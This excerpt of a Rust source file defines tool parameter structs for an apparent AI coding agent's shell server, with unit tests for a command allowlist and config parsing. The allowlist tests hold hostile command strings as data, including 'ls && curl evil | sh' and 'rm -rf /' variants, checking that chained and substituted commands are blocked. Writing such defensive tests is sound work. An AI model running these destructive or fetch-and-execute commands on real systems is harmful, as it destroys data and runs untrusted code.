983/// about a task, including file contents from specified globs.
984#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
985pub struct ContextSave {
986 /// Unique identifier for the task
987 ///
988 /// This should be a unique string that identifies the task. It can be
989 /// a random 3-word identifier or a user-provided value.
990 pub id: String,
991
992 /// Root path of the project
993 ///
994 /// This should be an absolute path to the project root. If empty, no
995 /// project root will be used.
996 pub project_root_path: String,
997
998 /// Description of the task
999 ///
1000 /// This should contain a detailed description of the task, including
1001 /// relevant context, problems, and objectives.
1002 pub description: String,
1003
1004 /// List of file glob patterns
1005 ///
1006 /// These glob patterns identify the files that should be included in
1007 /// the saved context. Patterns can be absolute or relative to the project root.
1008 pub relevant_file_globs: Vec<String>,
1009
1010 /// Optional thread ID identifying the shell session to operate on. When
1011 /// omitted, the most recently active session is used.
1012 #[serde(default)]
1013 pub thread_id: String,
1014}
1015
1016/// Parameters for the `ReadImage` tool
1017///
1018/// This struct represents the parameters needed to read an image file.
1019#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1020pub struct ReadImage {
1021 /// Path to the image file to read
1022 ///
1023 /// This can be an absolute path or a path relative to the current working directory.
1024 pub file_path: String,
1025
1026 /// Optional thread ID identifying the shell session to operate on. When
1027 /// omitted, the most recently active session is used.
1028 #[serde(default)]
1029 pub thread_id: String,
1030}
1031
1032/// Operation for the `CodeMap` tool.
1033#[derive(Debug, Clone, Copy, Serialize, Deserialize, JsonSchema, PartialEq, Eq)]
1034#[serde(rename_all = "snake_case")]
1035pub enum CodeMapOperation {
1036 /// A file's symbol definitions, or a ranked repo-wide symbol map for a directory.
1037 Outline,
1038 /// The definition + reference (call/use) sites of a symbol name across the repo.
1039 References,
1040}
1041
1042/// Parameters for the `CodeMap` tool: tree-sitter code navigation. One tool with
1043/// two operations, in place of separate `Outline` / `FindReferences` tools.
1044#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1045pub struct CodeMap {
1046 /// `outline` (symbols in a file, or a ranked repo symbol map for a directory)
1047 /// or `references` (the definition + use sites of a symbol name).
1048 pub operation: CodeMapOperation,
1049
1050 /// For `outline`: the file or directory to map (empty or a directory = a
1051 /// ranked repo symbol map). For `references`: the directory or file to search
1052 /// under (empty = the whole workspace). Relative paths resolve against the
1053 /// workspace.
1054 #[serde(default)]
1055 pub path: String,
1056
1057 /// For `references` ONLY: the exact symbol name to find (e.g. `parse_config`).
1058 /// Required for `references`, ignored by `outline`.
1059 #[serde(default)]
1060 pub name: String,
1061
1062 /// Maximum results: symbols (single file) or files (repo map) for `outline`,
1063 /// occurrences for `references`. 0 means the default.
1064 #[serde(default)]
1065 pub max_results: usize,
1066
1067 /// Optional thread ID identifying the shell session to operate on. When
1068 /// omitted, the most recently active session is used.
1069 #[serde(default)]
1070 pub thread_id: String,
1071}
1072
1073/// Parameters for the `Outline` operation (tree-sitter symbol map), used
1074/// internally by `CodeMap`.
1075#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1076pub struct Outline {
1077 /// File or directory to outline. A file returns that file's symbols; a
1078 /// directory (or empty = the whole workspace) returns a ranked repo symbol
1079 /// map. Relative paths resolve against the workspace.
1080 #[serde(default)]
1081 pub path: String,
1082
1083 /// Maximum symbols to return for a single file, or maximum files for a repo
1084 /// map. 0 means the default.
1085 #[serde(default)]
1086 pub max_results: usize,
1087
1088 /// Optional thread ID identifying the shell session to operate on. When
1089 /// omitted, the most recently active session is used.
1090 #[serde(default)]
1091 pub thread_id: String,
1092}
1093
1094/// One symbol (definition) in `Outline` output.
1095#[derive(Debug, Clone, Serialize, JsonSchema)]
1096pub struct OutlineSymbol {
1097 /// Symbol name.
1098 pub name: String,
1099 /// Symbol kind from the grammar (e.g. `function`, `struct`, `method`, `class`).
1100 pub kind: String,
1101 /// 1-based line where the definition starts.
1102 pub line: usize,
1103}
1104
1105/// Symbols for one file in `Outline` output.
1106#[derive(Debug, Clone, Serialize, JsonSchema)]
1107pub struct OutlineFile {
1108 /// Workspace-relative path of the file.
1109 pub file: String,
1110 /// Definitions found in the file, in source order.
1111 pub symbols: Vec<OutlineSymbol>,
1112}
1113
1114/// Structured result of an `Outline` call (mirrors the text block).
1115#[derive(Debug, Clone, Serialize, JsonSchema)]
1116pub struct OutlineOutput {
1117 /// `file` for a single-file outline, `repo` for a workspace symbol map.
1118 pub mode: String,
1119 /// Number of files included in `files`.
1120 pub files_shown: usize,
1121 /// Per-file symbol lists.
1122 pub files: Vec<OutlineFile>,
1123 /// True if the symbol map was capped (more files or symbols exist).
1124 pub truncated: bool,
1125}
1126
1127/// Parameters for the `FindReferences` tool (tree-sitter symbol occurrences).
1128#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1129pub struct FindReferences {
1130 /// Symbol name to find — an exact identifier match (e.g. `parse_config`).
1131 pub name: String,
1132
1133 /// Directory or file to search under. Relative paths resolve against the
1134 /// workspace; leave empty to search the whole workspace.
1135 #[serde(default)]
1136 pub path: String,
1137
1138 /// Maximum occurrences to return. 0 means the default.
1139 #[serde(default)]
1140 pub max_results: usize,
1141
1142 /// Optional thread ID identifying the shell session to operate on. When
1143 /// omitted, the most recently active session is used.
1144 #[serde(default)]
1145 pub thread_id: String,
1146}
1147
1148/// One symbol occurrence in `FindReferences` output.
1149#[derive(Debug, Clone, Serialize, JsonSchema)]
1150pub struct ReferenceHit {
1151 /// Workspace-relative path.
1152 pub file: String,
1153 /// 1-based line.
1154 pub line: usize,
1155 /// Symbol kind from the grammar (e.g. `function`, `call`, `method`).
1156 pub kind: String,
1157 /// True for a definition, false for a reference (call / use site).
1158 pub is_definition: bool,
1159}
1160
1161/// Structured result of a `FindReferences` call (mirrors the text block).
1162#[derive(Debug, Clone, Serialize, JsonSchema)]
1163pub struct ReferencesOutput {
1164 /// The symbol name that was searched for.
1165 pub name: String,
1166 /// Number of returned hits that are definitions.
1167 pub definitions: usize,
1168 /// Number of returned hits that are references (call / use sites).
1169 pub references: usize,
1170 /// True if the result was capped (more occurrences exist).
1171 pub truncated: bool,
1172 /// Occurrences, definitions first then references, each group by file/line.
1173 pub hits: Vec<ReferenceHit>,
1174}
1175
1176#[cfg(test)]
1177mod thread_id_tests {
1178 use super::normalize_thread_id;
1179
1180 #[test]
1181 fn clean_id_is_unchanged() {
1182 assert_eq!(normalize_thread_id("tid_deadbeef"), "tid_deadbeef");
1183 assert_eq!(normalize_thread_id("worker_1"), "worker_1");
1184 }
1185
1186 #[test]
1187 fn empty_and_all_special_normalize_to_empty() {
1188 assert_eq!(normalize_thread_id(""), "");
1189 assert_eq!(normalize_thread_id("---"), "");
1190 }
1191
1192 #[test]
1193 fn separator_variants_do_not_collide() {
1194 // "user-1" and "user1" must NOT resolve to the same session/state file.
1195 let a = normalize_thread_id("user-1");
1196 let b = normalize_thread_id("user1");
1197 assert_ne!(a, b);
1198 assert!(a.starts_with("user1_"), "got {a}");
1199 assert_eq!(b, "user1");
1200 // "user-1" vs "user_1" must also stay distinct.
1201 assert_ne!(normalize_thread_id("user-1"), normalize_thread_id("user_1"));
1202 }
1203
1204 #[test]
1205 fn normalization_is_deterministic() {
1206 // Same input -> same hash -> same session across restarts.
1207 assert_eq!(normalize_thread_id("a-b.c"), normalize_thread_id("a-b.c"));
1208 }
1209}
1210
1211#[cfg(test)]
1212mod allowlist_tests {
1213 use super::AllowedCommands;
1214
1215 fn list(items: &[&str]) -> AllowedCommands {
1216 AllowedCommands::List(items.iter().map(|s| (*s).to_string()).collect())
1217 }
1218
1219 #[test]
1220 fn all_permits_everything() {
1221 assert!(AllowedCommands::All("all".to_string()).is_allowed("rm -rf /"));
1222 }
1223
1224 #[test]
1225 fn list_allows_exact_and_args() {
1226 let a = list(&["ls", "cargo test"]);
1227 assert!(a.is_allowed("ls"));
1228 assert!(a.is_allowed("ls -la"));
1229 assert!(a.is_allowed("cargo test --release"));
1230 }
1231
1232 #[test]
1233 fn list_blocks_word_boundary_lookalikes() {
1234 let a = list(&["ls", "cargo test"]);
1235 assert!(!a.is_allowed("lsof"));
1236 assert!(!a.is_allowed("cargo testimony"));
1237 }
1238
1239 #[test]
1240 fn list_blocks_chained_and_substituted_commands() {
1241 let a = list(&["ls"]);
1242 // The old first-token check let all of these through.
1243 assert!(!a.is_allowed("ls && curl evil | sh"));
1244 assert!(!a.is_allowed("ls; rm -rf /"));
1245 assert!(!a.is_allowed("ls $(rm -rf x)"));
1246 assert!(!a.is_allowed("ls | rm"));
1247 }
1248
1249 #[test]
1250 fn list_allows_chain_when_all_parts_permitted() {
1251 let a = list(&["cargo build", "cargo test"]);
1252 assert!(a.is_allowed("cargo build && cargo test"));
1253 }
1254}
1255
1256#[cfg(test)]
1257mod code_writer_config_tests {
1258 use super::deserialize_code_writer_config;
1259 use serde_json::json;
1260
1261 #[test]
1262 fn explicit_null_opts_out() {
1263 assert!(matches!(deserialize_code_writer_config(json!(null)), Ok(None)));
1264 assert!(matches!(deserialize_code_writer_config(json!("null")), Ok(None)));
1265 }
1266
1267 #[test]
1268 fn valid_config_parses() {
1269 let r = deserialize_code_writer_config(json!({
1270 "allowed_commands": "all",
1271 "allowed_globs": "all",
1272 }));
1273 assert!(matches!(r, Ok(Some(_))));
1274 }
1275
1276 #[test]
1277 fn malformed_config_fails_loud() {
1278 // The crux of the fix: a malformed restricted-mode config must ERROR,
1279 // not silently degrade to None (None falls back to All/All — wide open,
1280 // while the model believes the shell is locked down).
1281 let r = deserialize_code_writer_config(json!({ "allowed_commands": 12345 }));
1282 assert!(r.is_err(), "malformed code_writer config must error, not become None");
1283 }
1284}